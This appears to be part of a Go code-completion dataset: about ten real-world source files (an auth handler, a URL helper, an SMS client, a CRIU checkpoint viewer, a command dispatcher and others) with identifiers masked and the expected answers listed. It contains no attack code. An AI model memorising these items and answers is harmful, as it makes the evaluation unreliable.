Authorize(ctx context.Context, request Request) (string, error) { user, err := a.rep.GetByUsername(ctx, request.GetUsername()) if err != nil { return """", ErrInvalidUsername } if !a.passwordVerifier(user.GetPassword(), user.GetSecret(), request.GetPassword()) { return """", ErrInvalidPassword } return a.token.GenToken(ctx, user.GetID(), request.GetClientID(), user.GetClaims()) } func (a *Authorization) AuthorizeFromHTTPRequest(request *http.Request) (string, error) { req, err := a.requestBuilder(request) if err != nil { return """", err } return a.Authorize(request.Context(), req) } func (a *Authorization) HTTPHandler() http.HandlerFunc { return func(writer http.ResponseWriter, request *http.Request) { token, err := a.AuthorizeFromHTTPRequest(request) if err != nil { var message string switch err { case ErrInvalidUsername, ErrInvalidPassword: message = ""invalid username or password"" default: message = ""system error"" } http.Error(writer, message, http.StatusBadRequest) } else { json.NewEncoder(writer).Encode(map[string]interface{}{""token"": token}) } } } func (a *Authorization) ValidateHTTPRequest(request *http.Request) (tokenutil.Claims, error) { return a.token.ValidateHTTPRequest(request) } func (a *Authorization) HTTPMiddleware() func(next http.Handler) http.Handler { return func(next http.Handler) http.Handler { return a.httpMiddleware(next) } } func (a *Authorization) HTTPMiddlewareFunc() func(next http.HandlerFunc) http.HandlerFunc { return func(next http.HandlerFunc) http.HandlerFunc { return a.httpMiddleware(next) } } func (a *Authorization) httpMiddleware(next http.Handler) http.HandlerFunc { return func(writer http.ResponseWriter, request *http.Request) { if claims, err := a.ValidateHTTPRequest(request); err != nil { http.Error(writer, err.Error(), http.StatusUnauthorized) } else { next.ServeHTTP(writer, request.WithContext(claims.WithContext(request.Context()))) } } } ",expected 889,"package main import ""context"" // Experimental alternative to the introspection query, using the TypeDef API // // TypeDefs require more requests than the introspection query, and some // types haven't been implemented yet, but they may provide more context // like the module name that implements an object type, for example. func (*Codegen) Experimental() *Experimental { return &Experimental{} } // Experimental alternative to the introspection query, using the TypeDef API type Experimental struct{} // Get the names of all object types in the API // // Allows querying the API directly while filtering out the current module. // It does take more requests, compared to the introspection query which // takes a single request, or the introspection file which takes no requests. // However when this module is consumed, there's an exec to /runtime on // every function call. func (e *Experimental) ObjectNames(ctx context.Context) ([]string, error) { names := []string{} [MASK] , err := dag.CurrentModule().Name(ctx) if err != nil { return nil, err } types, err := dag.CurrentTypeDefs(ctx) if err != nil { return nil, err } for _, t := range types { o := t.AsObject() s, err := o.SourceModuleName(ctx) if err != nil { return nil, err } if s == [MASK] { continue } name, err := o.Name(ctx) if err != nil { return nil, err } if name != """" { names = append(names, name) } } return names, nil } // Get the names of all input object types in the API // // Only object types have an associated module name because input types // (and others) are only used in the core API. Modules don't expose either // custom scalars, enums, or interfaces, for example. func (e *Experimental) InputNames(ctx context.Context) ([]string, error) { names := []string{} types, err := dag.CurrentTypeDefs(ctx) if err != nil { return nil, err } for _, t := range types { name, err := t.AsInput().Name(ctx) if err != nil { return nil, err } if name != """" { names = append(names, name) } } return names, nil } ",modName 890,"package urlhelper import ( ""net/http"" ""net/url"" ""path"" ) const ( // XForwardedHost header for host forwarding XForwardedHost = ""X-Forwarded-Host"" // XForwardedProtocol header for http protocol forwarding XForwardedProtocol = ""X-Forwarded-Proto"" // XForwardedPathPrefix header for path prefix eg. Path is appended to beging of url generating urls XForwardedPathPrefix = ""X-Forwarded-Path-Prefix"" ) // EnablePathPrefix is a flag to enable path prefix for entire module var EnablePathPrefix = false // URLHelper struct to keep internal state of the request object type URLHelper struct { base *url.URL origBase string } // NewURLHelper creates a new URLHelper from the http.Request func NewURLHelper(req *http.Request) (*URLHelper, error) { u, err := url.Parse(req.URL.RequestURI()) if err != nil { return nil, err } // Set Host based on X-Forwarded-Host or default to req's Host if req.Header.Get(XForwardedHost) != """" { u.Host = req.Header.Get(XForwardedHost) } else { u.Host = req.Host } // Set protocol scheme based on X-Forwarded-Proto or default to used transport if req.Header.Get(XForwardedProtocol) != """" { u.Scheme = req.Header.Get(XForwardedProtocol) } else { if req.TLS != nil { u.Scheme = ""https"" } else { u.Scheme = ""http"" } } if EnablePathPrefix { u.Path = path.Join(req.Header.Get(XForwardedPathPrefix), u.Path) } return &URLHelper{ base: u, origBase: u.Path, }, nil } /* Join returns the absolute of the request joined with the inputed path segment. Keeps query params. */ func (uh URLHelper) Join(pathname string) string { defer uh.reset() uh.base.Path = path.Join(uh.base.EscapedPath(), pathname) return uh.base.String() } func (uh URLHelper) JoinWithQuery(pathname string, query url.Values) string { defer uh.reset() uh.base.Path = path.Join(uh.base.EscapedPath(), pathname) return uh.path(uh.base.Path, &query) } /* SchemePlusHost returns the Scheme concatenated with the host but no path */ func (uh URLHelper) SchemePlusHost() string { var tempURL url.URL tempURL.Host = uh.base.Host tempURL.Scheme = uh.base.Scheme return tempURL.String() } /* Path returns the absolute of the request reset to the inputed path segment. Removes all query params. */ func (uh URLHelper) Path(pathname string) string { return uh.path(pathname, nil) } /* PathWithQuery returns the absolute of the request reset to the inputed path segment and uses the inputed query params. */ func (uh URLHelper) PathWithQuery(pathname string, query url.Values) string { return uh.path(pathname, &query) } /* Current retuns the current url with X-Forwarded-Host and X-Forwarded-Proto */ func (uh URLHelper) Current() string { return uh.base.String() } /* reset sets the URL path to the original path */ func (uh URLHelper) reset() { uh.base.Path = uh.origBase } func (uh URLHelper) path(pathname string, query *url.Values) string { defer uh.reset() [MASK] := uh.base.RawQuery if query != nil { uh.base.RawQuery = query.Encode() } else { uh.base.RawQuery = """" } uh.base.Path = path.Clean(pathname) newPath := uh.base.String() uh.base.RawQuery = [MASK] return newPath } ",origQuery 891,"// Package: default // File: MobSmsClient.go // Created by: zxc() // DATE: 17-4-17 18:01 package main import ( ""net/http"" ""io/ioutil"" ""net/url"" ""fmt"" ) // bingone func main(){ // 修改为您的appkey.在官网(http://www.mob.com)登录后获取,接口地址联系客服 apikey := """" // 修改为您要发送的手机号码 phone := ""18912386146"" // 国家代码 zone := ""86"" // 手机收到的短信验证码code code := ""1234"" // Web-Api验证码发送接口 [MASK] := ""https://xxxxxxxxxxxxxxxxxx""; // Web-Api验证码校验接口 url_webapi_check_uri := ""https://xxxxxxxxxxxxxxxxxx""; // 短信服务端验证接口 url_webapi_verify_uri := ""https://xxxxxxxxxxxxxxxxxx""; data_webapi_send_uri := url.Values{""appkey"": {apikey}, ""phone"": {phone},""zone"":{zone}} data_webapi_check_uri := url.Values{""appkey"": {apikey}, ""phone"": {phone},""zone"":{zone},""code"":{code}} data_webapi_verify_uri := url.Values{""appkey"": {apikey}, ""phone"": {phone},""zone"":{zone},""code"":{code}} httpsPostForm( [MASK] ,data_webapi_send_uri) httpsPostForm(url_webapi_check_uri,data_webapi_check_uri) httpsPostForm(url_webapi_verify_uri,data_webapi_verify_uri) } func httpsPostForm(url string,data url.Values) { resp, err := http.PostForm(url,data) if err != nil { // handle error } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { // handle error } fmt.Println(string(body)) } ",url_webapi_send_uri 892,"package main import ( ""fmt"" ""github.com/cloudfoundry/cli/plugin"" ""github.com/davidehringer/cf-buildpack-management-plugin/buildpacks"" ""os"" ""strings"" ) type BuildpackManager struct{} func (c *BuildpackManager) GetMetadata() plugin.PluginMetadata { [MASK] := ""cf configure-buildpacks PATH_TO_YAML_CONFIG_FILE [-dryRun]"" secondaryUsage := ` The provided path for the configuration file can be an absolute or relative path to a file. The file should have a map named ""buildpacks"" containing an array of buildpacks. The ""filename"" values for each buildpack can be an absolute or relative path to a file. Valid YAML file example: --- buildpacks: - name: java position: 1 enabled: true locked: false filename: java-buildpack-offline-v3.0.zip - name: ruby_buildpack position: 2 enabled: true locked: false filename: ruby_buildpack-cached-v1.3.0.zip ` flags := make(map[string]string) flags[""dryRun""] = ""stop before making any changes"" return plugin.PluginMetadata{ Name: ""buildpack-management"", Version: plugin.VersionType{ Major: 1, Minor: 0, Build: 0, }, Commands: []plugin.Command{ { Name: ""configure-buildpacks"", HelpText: ""Configures system buildpacks using a declarative configuration file."", UsageDetails: plugin.Usage{ Usage: strings.Join([]string{ [MASK] , secondaryUsage}, ""\n\n""), Options: flags, }, }, }, } } func main() { plugin.Start(new(BuildpackManager)) } func (c *BuildpackManager) Run(cliConnection plugin.CliConnection, args []string) { if args[0] == ""configure-buildpacks"" { if len(args) < 2 { // TODO this is not so great validation. Make useful fmt.Println(""Incorrect Usage. \n\nPATH_TO_YAML_CONFIG_FILE is a required argument"") os.Exit(1) } manifestRepo := buildpacks.NewFilesystemBuildpackManifestRepo() buildpackRepo := buildpacks.NewCliBuildpackRepository(cliConnection) config, err := manifestRepo.ReadManifest(args[1]) if err != nil { fmt.Printf(""Invalid manifest file '%v': %v"", args[1], err) os.Exit(1) } service := buildpacks.NewCliBuildpackService(cliConnection, buildpackRepo) service.ConfigureBuildpacks(config, dryRun(args)) } } func dryRun(args []string) (dryRun bool) { for _, arg := range args { if arg == ""--dryRun"" { dryRun = true } } return } ",primaryUsage 893,"package internal import ( ""fmt"" ""path/filepath"" ""strings"" ""time"" metadata ""github.com/checkpoint-restore/checkpointctl/lib"" ""github.com/checkpoint-restore/go-criu/v7/crit"" stats_pb ""github.com/checkpoint-restore/go-criu/v7/crit/images/stats"" spec ""github.com/opencontainers/runtime-spec/specs-go"" ""github.com/xlab/treeprint"" ) func RenderTreeView(tasks []Task) error { for _, task := range tasks { info, err := getCheckpointInfo(task) if err != nil { return err } tree := buildTree(info.containerInfo, info.configDump, info.archiveSizes) if Stats { dumpStats, err := crit.GetDumpStats(task.OutputDir) if err != nil { return fmt.Errorf(""failed to get dump statistics: %w"", err) } addDumpStatsToTree(tree, dumpStats) } if PsTree { c := crit.New(nil, nil, filepath.Join(task.OutputDir, ""checkpoint""), false, false) psTree, err := c.ExplorePs() if err != nil { return fmt.Errorf(""failed to get process tree: %w"", err) } if PsTreeCmd { if err := updatePsTreeCommToCmdline(task.OutputDir, psTree); err != nil { return fmt.Errorf(""failed to process command line arguments: %w"", err) } } if err = addPsTreeToTree(tree, psTree, task.OutputDir); err != nil { return fmt.Errorf(""failed to get process tree: %w"", err) } } if Files { c := crit.New(nil, nil, filepath.Join(task.OutputDir, ""checkpoint""), false, false) fds, err := c.ExploreFds() if err != nil { return fmt.Errorf(""failed to get file descriptors: %w"", err) } addFdsToTree(tree, fds) } if Sockets { c := crit.New(nil, nil, filepath.Join(task.OutputDir, ""checkpoint""), false, false) fds, err := c.ExploreSk() if err != nil { return fmt.Errorf(""failed to get sockets: %w"", err) } addSkToTree(tree, fds) } if Mounts { addMountsToTree(tree, info.specDump) } fmt.Printf(""\nDisplaying container checkpoint tree view from %s\n\n"", task.CheckpointFilePath) fmt.Println(tree.String()) } return nil } func buildTree(ci *containerInfo, containerConfig *metadata.ContainerConfig, archiveSizes *archiveSizes) treeprint.Tree { if ci.Name == """" { ci.Name = ""Container"" } tree := treeprint.NewWithRoot(ci.Name) tree.AddBranch(fmt.Sprintf(""Image: %s"", containerConfig.RootfsImageName)) tree.AddBranch(fmt.Sprintf(""ID: %s"", containerConfig.ID)) tree.AddBranch(fmt.Sprintf(""Runtime: %s"", containerConfig.OCIRuntime)) tree.AddBranch(fmt.Sprintf(""Created: %s"", ci.Created)) if !containerConfig.CheckpointedAt.IsZero() { tree.AddBranch(fmt.Sprintf(""Checkpointed: %s"", containerConfig.CheckpointedAt.Format(time.RFC3339))) } tree.AddBranch(fmt.Sprintf(""Engine: %s"", ci.Engine)) if ci.IP != """" { tree.AddBranch(fmt.Sprintf(""IP: %s"", ci.IP)) } if ci.MAC != """" { tree.AddBranch(fmt.Sprintf(""MAC: %s"", ci.MAC)) } checkpointSize := tree.AddBranch(fmt.Sprintf(""Checkpoint size: %s"", metadata.ByteToString(archiveSizes.checkpointSize))) if archiveSizes.pagesSize != 0 { checkpointSize.AddNode(fmt.Sprintf(""Memory pages size: %s"", metadata.ByteToString(archiveSizes.pagesSize))) } if archiveSizes.amdgpuPagesSize != 0 { checkpointSize.AddNode(fmt.Sprintf(""AMD GPU memory pages size: %s"", metadata.ByteToString(archiveSizes.amdgpuPagesSize))) } if archiveSizes.rootFsDiffTarSize != 0 { tree.AddBranch(fmt.Sprintf(""Root FS diff size: %s"", metadata.ByteToString(archiveSizes.rootFsDiffTarSize))) } return tree } func addMountsToTree(tree treeprint.Tree, specDump *spec.Spec) { mountsTree := tree.AddBranch(""Overview of mounts"") for _, data := range specDump.Mounts { mountTree := mountsTree.AddBranch(fmt.Sprintf(""Destination: %s"", data.Destination)) mountTree.AddBranch(fmt.Sprintf(""Type: %s"", data.Type)) mountTree.AddBranch(fmt.Sprintf(""Source: %s"", func() string { return data.Source }())) } } func addDumpStatsToTree(tree treeprint.Tree, dumpStats *stats_pb.DumpStatsEntry) { [MASK] := tree.AddBranch(""CRIU dump statistics"") [MASK] .AddBranch(fmt.Sprintf(""Freezing time: %s"", FormatTime(dumpStats.GetFreezingTime()))) [MASK] .AddBranch(fmt.Sprintf(""Frozen time: %s"", FormatTime(dumpStats.GetFrozenTime()))) [MASK] .AddBranch(fmt.Sprintf(""Memdump time: %s"", FormatTime(dumpStats.GetMemdumpTime()))) [MASK] .AddBranch(fmt.Sprintf(""Memwrite time: %s"", FormatTime(dumpStats.GetMemwriteTime()))) [MASK] .AddBranch(fmt.Sprintf(""Pages scanned: %d"", dumpStats.GetPagesScanned())) [MASK] .AddBranch(fmt.Sprintf(""Pages written: %d"", dumpStats.GetPagesWritten())) } func addPsTreeToTree(tree treeprint.Tree, psTree *crit.PsTree, checkpointOutputDir string) error { psRoot := psTree if PID != 0 { ps := psTree.FindPs(PID) if ps == nil { return fmt.Errorf(""no process with PID %d (use `inspect --ps-tree` to view all PIDs)"", PID) } psRoot = ps } // processNodes is a recursive function to create // a new branch for each process and add its child // processes as child nodes of the branch. var processNodes func(treeprint.Tree, *crit.PsTree) error processNodes = func(tree treeprint.Tree, root *crit.PsTree) error { node := tree.AddMetaBranch(root.PID, root.Comm) // attach environment variables to process if PsTreeEnv { envVars, err := getPsEnvVars(checkpointOutputDir, root.PID) if err != nil { return err } if len(envVars) > 0 { nodeSubtree := node.AddBranch(""Environment variables"") for _, env := range envVars { nodeSubtree.AddBranch(env) } } } for _, child := range root.Children { if err := processNodes(node, child); err != nil { return err } } return nil } psTreeNode := tree.AddBranch(""Process tree"") return processNodes(psTreeNode, psRoot) } func addFdsToTree(tree treeprint.Tree, fds []*crit.Fd) { var node treeprint.Tree for _, fd := range fds { node = tree.FindByMeta(fd.PId) // If FindByMeta returns nil, then the node with // the PID has been pruned while building the tree. // Hence, skip all associated file descriptors. if node == nil { continue } nodeSubtree := node.AddBranch(""Open files"") for _, file := range fd.Files { nodeSubtree.AddMetaBranch(strings.TrimSpace(file.Type+"" ""+file.Fd), file.Path) } } } func addSkToTree(tree treeprint.Tree, sks []*crit.Sk) { var node treeprint.Tree for _, sk := range sks { node = tree.FindByMeta(sk.PId) // If FindByMeta returns nil, then the node with // the PID has been pruned while building the tree. // Hence, skip all associated sockets. if node == nil { continue } nodeSubtree := node.AddBranch(""Open sockets"") var data string var protocol string for _, socket := range sk.Sockets { protocol = socket.Protocol switch socket.FdType { case ""UNIXSK"": // UNIX sockets do not have a protocol assigned. // Hence, the meta value for the socket is just // the socket type. protocol = fmt.Sprintf(""UNIX (%s)"", socket.Type) data = socket.SrcAddr if len(data) == 0 { // Use an abstract socket address data = ""@"" } case ""INETSK"": if protocol == ""TCP"" { protocol = fmt.Sprintf(""%s (%s)"", socket.Protocol, socket.State) } data = fmt.Sprintf( ""%s:%d -> %s:%d (↑ %s ↓ %s)"", socket.SrcAddr, socket.SrcPort, socket.DestAddr, socket.DestPort, socket.SendBuf, socket.RecvBuf, ) case ""PACKETSK"": data = fmt.Sprintf(""↑ %s ↓ %s"", socket.SendBuf, socket.RecvBuf) case ""NETLINKSK"": data = fmt.Sprintf(""↑ %s ↓ %s"", socket.SendBuf, socket.RecvBuf) } nodeSubtree.AddMetaBranch(protocol, data) } } } // Recursively updates the Comm field of the psTree struct with the command line arguments // from process memory pages func updatePsTreeCommToCmdline(checkpointOutputDir string, psTree *crit.PsTree) error { cmdline, err := getCmdline(checkpointOutputDir, psTree.PID) if err != nil { return err } if cmdline != """" { psTree.Comm = cmdline } for _, child := range psTree.Children { if err := updatePsTreeCommToCmdline(checkpointOutputDir, child); err != nil { return err } } return nil } ",statsTree 894,"// 新关注自动回复模组 // TODO: INIT Welcome Message package newUser import ( ""github.com/hduhelp/wechat-template/server"" ""github.com/silenceper/wechat/v2/officialaccount/message"" ""sync"" ) func init() { instance = &newUser{} server.RegisterModule(instance) } var instance *newUser type newUser struct { WelcomeMessage string } func (newUser) GetModuleInfo() server.ModuleInfo { return server.ModuleInfo{ ID: server.NewModuleID(""atom"", ""newUser""), Instance: instance, } } func (newUser) Init() { } func (newUser) PostInit() { } func (newUser) Serve(s *server.Server) { s.MsgEngine.EventSubscribe(0, func(msg *server.Message) { [MASK] := message.NewText(""Hi!很高兴见到你。"") msg.Reply = &message.Reply{MsgType: message.MsgTypeText, MsgData: [MASK] } }) } func (newUser) Start(server *server.Server) { } func (newUser) Stop(server *server.Server, wg *sync.WaitGroup) { defer wg.Done() } ",text 895,"package main import ( ""fmt"" ""net/http"" ""strconv"" ""htmxQuizApp/server/types"" ""htmxQuizApp/server/web"" ""github.com/gin-contrib/cors"" ""github.com/gin-gonic/gin"" ) var session types.Session /* func quizSessionMiddleware() gin.HandlerFunc { return func(c *gin.Context) { fmt.Println(c.Request.URL) answer, _ := strconv.Atoi(c.Params.ByName(""number"")) fmt.Printf(""%d\n"", answer) if answer == 1 { fmt.Printf(""Correct\n"") } c.Set(""Session"", session) c.Next() } } */ func getQuizzes(c *gin.Context) { c.SetCookie(""cookie"", ""value"", 3600, ""/"", """", false, true) c.String(http.StatusOK, web.GetAllQuizzes()) } func answerQuestion(c *gin.Context) { answerId, _ := strconv.Atoi(c.Params.ByName(""number"")) res := web.HandleQuizAnswer(answerId, &session) if session.QuizComplete { c.SetCookie(""quiz1Res"", fmt.Sprintf(""%f"", session.QuizRes), 3600, ""/"", """", false, true) } c.String(http.StatusOK, res) } func startQuiz(c *gin.Context) { [MASK] , _ := strconv.Atoi(c.Params.ByName(""number"")) session = web.StartQuizSession( [MASK] ) c.String(http.StatusOK, web.BuildQuestion(session.Question_id)) } func main() { r := gin.Default() config := cors.Config{ AllowOrigins: []string{""http://localhost:8000""}, // Allow all origins or specify your domain AllowMethods: []string{""GET"", ""POST"", ""PUT"", ""DELETE"", ""OPTIONS""}, // Allowed HTTP methods AllowHeaders: []string{""Content-Type"", ""Authorization"", ""HX-Request"", ""HX-Trigger"", ""HX-Trigger-Name"", ""HX-Target"", ""HX-Prompt"", ""HX-Location"", ""HX-Current-Url""}, ExposeHeaders: []string{""HX-Trigger"", ""HX-Redirect""}, // Expose any htmx headers if needed AllowCredentials: true, // Allow credentials (cookies, etc.) } r.Use(cors.New(config)) r.GET(""/quizzes"", getQuizzes) r.GET(""/quiz/:number"", startQuiz) r.GET(""/answer/:number"", answerQuestion) r.Run("":3000"") } ",quizId 896,"package main import ( ""fmt"" ""log"" ""math/rand"" ""os"" ""time"" ""github.com/getsentry/sentry-go"" ) func main() { // Initializing Sentry with DSN from environment variables [MASK] := os.Getenv(""SENTRY_DSN"") if [MASK] == """" { log.Fatal(""SENTRY_DSN environment variable is required"") } err := sentry.Init(sentry.ClientOptions{ Dsn: [MASK] , TracesSampleRate: 1.0, }) if err != nil { log.Fatalf(""sentry.Init: %s"", err) } defer sentry.Flush(2 * time.Second) // Initialization of the random number generator rand.Seed(time.Now().UnixNano()) // Infinite loop for generating and sending different types of errors for { var err error switch rand.Intn(8) { case 0: err = &newCustomError{message: fmt.Sprintf(""new custom error: %d"", rand.Intn(1000))} case 1: err = &anotherNewCustomError{message: fmt.Sprintf(""another new custom error: %d"", rand.Intn(1000))} case 2: err = &yetAnotherNewCustomError{message: fmt.Sprintf(""yet another new custom error: %d"", rand.Intn(1000))} case 3: err = &complexNewCustomError{code: rand.Intn(100), message: fmt.Sprintf(""complex new custom error: %d"", rand.Intn(1000))} case 4: err = &yetAnotherComplexCustomError{code: rand.Intn(100), message: fmt.Sprintf(""yet another complex custom error: %d"", rand.Intn(1000))} case 5: err = &evenMoreComplexCustomError{code: rand.Intn(100), message: fmt.Sprintf(""even more complex custom error: %d"", rand.Intn(1000))} case 6: err = &simpleCustomError{message: fmt.Sprintf(""simple custom error: %d"", rand.Intn(1000))} case 7: err = &anotherSimpleCustomError{message: fmt.Sprintf(""another simple custom error: %d"", rand.Intn(1000))} } sentry.CaptureException(err) log.Printf(""Sent error: %v to Sentry"", err) time.Sleep(100 * time.Millisecond) // Delay to simulate real load } } type newCustomError struct { message string } func (e *newCustomError) Error() string { return e.message } type anotherNewCustomError struct { message string } func (e *anotherNewCustomError) Error() string { return e.message } type yetAnotherNewCustomError struct { message string } func (e *yetAnotherNewCustomError) Error() string { return e.message } type complexNewCustomError struct { code int message string } func (e *complexNewCustomError) Error() string { return fmt.Sprintf(""code: %d, message: %s"", e.code, e.message) } type yetAnotherComplexCustomError struct { code int message string } func (e *yetAnotherComplexCustomError) Error() string { return fmt.Sprintf(""code: %d, message: %s"", e.code, e.message) } type evenMoreComplexCustomError struct { code int message string } func (e *evenMoreComplexCustomError) Error() string { return fmt.Sprintf(""code: %d, message: %s"", e.code, e.message) } type simpleCustomError struct { message string } func (e *simpleCustomError) Error() string { return e.message } type anotherSimpleCustomError struct { message string } func (e *anotherSimpleCustomError) Error() string { return e.message } ",dsn 897,"package brigodier import ( ""context"" ""errors"" ""fmt"" ) // Dispatcher is the command dispatcher, // for registering, parsing, and executing commands. type Dispatcher struct { // The root of this command tree. // This is often useful as a target of an // ArgumentBuilder.Redirect, AllUsage or SmartUsage. Root RootCommandNode } // Register registers new commands. // This is a shortcut for calling Dispatcher.Root.AddChild after building the provided command. // // As RootCommandNode can only hold literals, this method will only allow literal arguments. func (d *Dispatcher) Register(command LiteralNodeBuilder) *LiteralCommandNode { b := command.BuildLiteral() d.Root.AddChild(b) return b } var ( // ErrDispatcherUnknownCommand indicates that an input command was not found. ErrDispatcherUnknownCommand = errors.New(""dispatcher: unknown command"") // ErrDispatcherUnknownArgument indicates that the argument of an input command was not found. ErrDispatcherUnknownArgument = errors.New(""dispatcher: unknown argument"") ) // Do parses and then executes the specified command and returns the execution error, if any. func (d *Dispatcher) Do(ctx context.Context, command string) error { return d.Execute(d.Parse(ctx, command)) } // Execute executes a given pre-parsed command. // // If this command returns a nil error, then it successfully executed something. // If the execution was a failure, then an error. // Most errors will be of type CommandSyntaxError wrapping another error struct for details // or an unknown error returned by a Command execution. // The meaning behind the returned result is arbitrary, and will depend // entirely on what command was performed. // // If the command passes through a node that is CommandNode.IsFork then it will be 'forked'. // A forked command will not return a CommandSyntaxError. // // TODO After each and any command is ran, a registered callback given to #setConsumer(ResultConsumer)} // will be notified of the result and success of the command. You can use that method to gather more meaningful // results than this method will return, especially when a command forks. func (d *Dispatcher) Execute(parse *ParseResults) error { if parse.Reader.CanRead() { if len(parse.Errs) == 1 { return parse.firstErr() } else if parse.Context.Range.IsEmpty() { return &CommandSyntaxError{Err: &ReaderError{ Err: ErrDispatcherUnknownCommand, Reader: parse.Reader, }} } else { return &CommandSyntaxError{Err: &ReaderError{ Err: ErrDispatcherUnknownArgument, Reader: parse.Reader, }} } } forked := false foundCommand := false original := parse.Context.build(parse.Reader.String) contexts := []*CommandContext{original} var next []*CommandContext var err error for contexts != nil { size := len(contexts) for i := 0; i < size; i++ { theContext := contexts[i] child := theContext.Child if child != nil { forked = forked || theContext.Forks if child.HasNodes() { foundCommand = true modifier := theContext.Modifier if modifier == nil { next = append(next, child.CopyFor(theContext)) } else { result, err := modifier.Apply(theContext) if err != nil { if !forked { return err } } else { next = append(next, child.CopyFor(result)) } } } } else if theContext.Command != nil { foundCommand = true if err = theContext.Command.Run(theContext); err != nil && !forked { return err } } } contexts = next next = nil } if !foundCommand { return &CommandSyntaxError{Err: &ReaderError{ Err: ErrDispatcherUnknownCommand, Reader: parse.Reader, }} } return nil } // RedirectModifier modifies type RedirectModifier interface { Apply(ctx *CommandContext) (context.Context, error) } // ModifierFunc is a convenient function type implementing the RedirectModifier interface. type ModifierFunc func(c *CommandContext) (context.Context, error) // Apply implements RedirectModifier. func (m ModifierFunc) Apply(c *CommandContext) (context.Context, error) { return m(c) } // Path finds a valid path to a given node on the command tree. // // There may theoretically be multiple paths to a node on the tree, especially with the use of forking or redirecting. // As such, this method makes no guarantees about which path it finds. It will not look at forks or redirects, // and find the first instance of the target node on the tree. // // The only guarantee made is that for the same command tree and the same version of this library, the result of // this method will ALWAYS be a valid input for FindNode, which should return the same node as provided to this method. func (d *Dispatcher) Path(target CommandNode) []string { var nodes [][]CommandNode d.addPaths(&d.Root, &nodes, &[]CommandNode{}) for _, list := range nodes { if list[len(list)-1] == target { var result []string for _, node := range list { if node != &d.Root { result = append(result, node.Name()) } } return result } } return nil } func (d *Dispatcher) addPaths(node CommandNode, result *[][]CommandNode, [MASK] *[]CommandNode) { current := append([]CommandNode{}, * [MASK] ...) // copy current = append(current, node) *result = append(*result, current) for _, child := range node.Children() { d.addPaths(child, result, ¤t) } } // FindNode finds a node by its path. // // Paths may be generated with Path(CommandNode), and are guaranteed (for the same tree, and the // same version of this library) to always produce the same valid node by this method. // // If a node could not be found at the specified path, nil will be returned. func (d *Dispatcher) FindNode(path ...string) CommandNode { var node CommandNode = &d.Root for _, name := range path { node = node.Children()[name] if node == nil { return nil } } return node } // Command is the command run by Dispatcher.Execute for a matching input. type Command interface { Run(c *CommandContext) error } // CommandFunc is a convenient function type implementing the Command interface. type CommandFunc func(c *CommandContext) error // Run implements Command. func (cf CommandFunc) Run(c *CommandContext) error { return cf(c) } // CommandNode is a command node in a tree. type CommandNode interface { // Arguments returns the nodes's arguments. Arguments() map[string]*ArgumentCommandNode // Literals returns the node's literals. Literals() map[string]*LiteralCommandNode // CanUse tests whether the node can be used with the given context.Context. // It can be used for restricting Dispatcher.Parse/Execute and Dispatcher.AllUsage // for certain subjects, e.g. whether the entity seeing/executing a command is allowed. CanUse(ctx context.Context) bool // RelevantNodes returns the relevant nodes of a Node for an input. RelevantNodes(input *StringReader) []CommandNode // Parse parses the given reader input. Parse(ctx *CommandContext, rd *StringReader) error // Redirect is the optional redirect node. // May return nil. Redirect() CommandNode // Command returns the command of the node. // May return nil since not all nodes must be executable. Command() Command setCommand(Command) // Requirement is the optional condition used to run CanUse. Requirement() RequireFn // RedirectModifier is the optional redirect modifier. // May return nil. RedirectModifier() RedirectModifier // IsFork indicated whether the node is a fork. IsFork() bool // Name returns the name of the node. Name() string // Children returns the node's children. // Use ChildrenOrdered if register order matters. Children() map[string]CommandNode // ChildrenOrdered returns the node's children in the same order as registered. ChildrenOrdered() StringCommandNodeMap // AddChild adds node children to the node. // Passing nil is valid and is ignored. AddChild(nodes ...CommandNode) // RemoveChild removes child nodes from the node RemoveChild(names ...string) // UsageText returns the usage text of the node. UsageText() string // CreateBuilder creates a new builder without children from the node. // // Note that a RootCommandNode returns a no-operation builder where Build() returns nil. // Passing such a no-Op builder to Dispatcher.Register is always valid and has no effect. CreateBuilder() NodeBuilder } // RequireFn is the function used for CommandNode.CanUse. type RequireFn func(context.Context) bool // Node is a node with the common fields and wrapped by // RootCommandNode, LiteralCommandNode and ArgumentCommandNode. type Node struct { childrenOrdered StringCommandNodeMap children map[string]CommandNode literals map[string]*LiteralCommandNode arguments map[string]*ArgumentCommandNode requirement RequireFn redirect CommandNode command Command modifier RedirectModifier forks bool } // AddChild adds a CommandNode to the Node's children. // Most often times one should use Dispatcher.Register instead. func (n *Node) AddChild(nodes ...CommandNode) { for _, node := range nodes { if node == nil { continue // skip nil as for nopNodeBuilder } if _, ok := node.(*RootCommandNode); ok { continue } child := n.Children()[node.Name()] if child != nil { // We've found something to merge onto if node.Command() != nil { child.setCommand(node.Command()) } for _, grandchild := range node.Children() { child.AddChild(grandchild) } } else { n.putChild(node.Name(), node) switch t := node.(type) { case *LiteralCommandNode: n.Literals()[node.Name()] = t case *ArgumentCommandNode: n.Arguments()[node.Name()] = t } } } } func (n *Node) putChild(name string, node CommandNode) { n.Children()[name] = node n.ChildrenOrdered().Put(name, node) } func (n *Node) RemoveChild(names ...string) { for _, name := range names { delete(n.Children(), name) delete(n.Arguments(), name) delete(n.Literals(), name) n.ChildrenOrdered().Remove(name) } } func (n *Node) RedirectModifier() RedirectModifier { return n.modifier } func (n *Node) Requirement() RequireFn { return n.requirement } func (n *Node) ChildrenOrdered() StringCommandNodeMap { if n.childrenOrdered == nil { n.childrenOrdered = NewStringCommandNodeMap() } return n.childrenOrdered } func (n *Node) Children() map[string]CommandNode { if n.children == nil { n.children = map[string]CommandNode{} } return n.children } func (n *Node) IsFork() bool { return n.forks } func (n *Node) Literals() map[string]*LiteralCommandNode { if n.literals == nil { n.literals = map[string]*LiteralCommandNode{} } return n.literals } func (n *Node) Arguments() map[string]*ArgumentCommandNode { if n.arguments == nil { n.arguments = map[string]*ArgumentCommandNode{} } return n.arguments } func (n *Node) CanUse(ctx context.Context) bool { if n.requirement == nil { return true } return n.requirement(ctx) } func (n *Node) Redirect() CommandNode { return n.redirect } func (n *Node) Command() Command { return n.command } func (n *Node) setCommand(c Command) { n.command = c } // RootCommandNode is the root of a command node tree. type RootCommandNode struct { Node // The starting root node. } func (r *RootCommandNode) String() string { return """" } func (r *RootCommandNode) Name() string { return """" } func (r *RootCommandNode) UsageText() string { return """" } func (r *RootCommandNode) Parse(*CommandContext, *StringReader) error { return nil } // LiteralCommandNode is a command node storing a fixed literal. // // Use Literal(name) to build it. type LiteralCommandNode struct { Node Literal string cachedLiteralLowerCase string } func (n *LiteralCommandNode) String() string { return 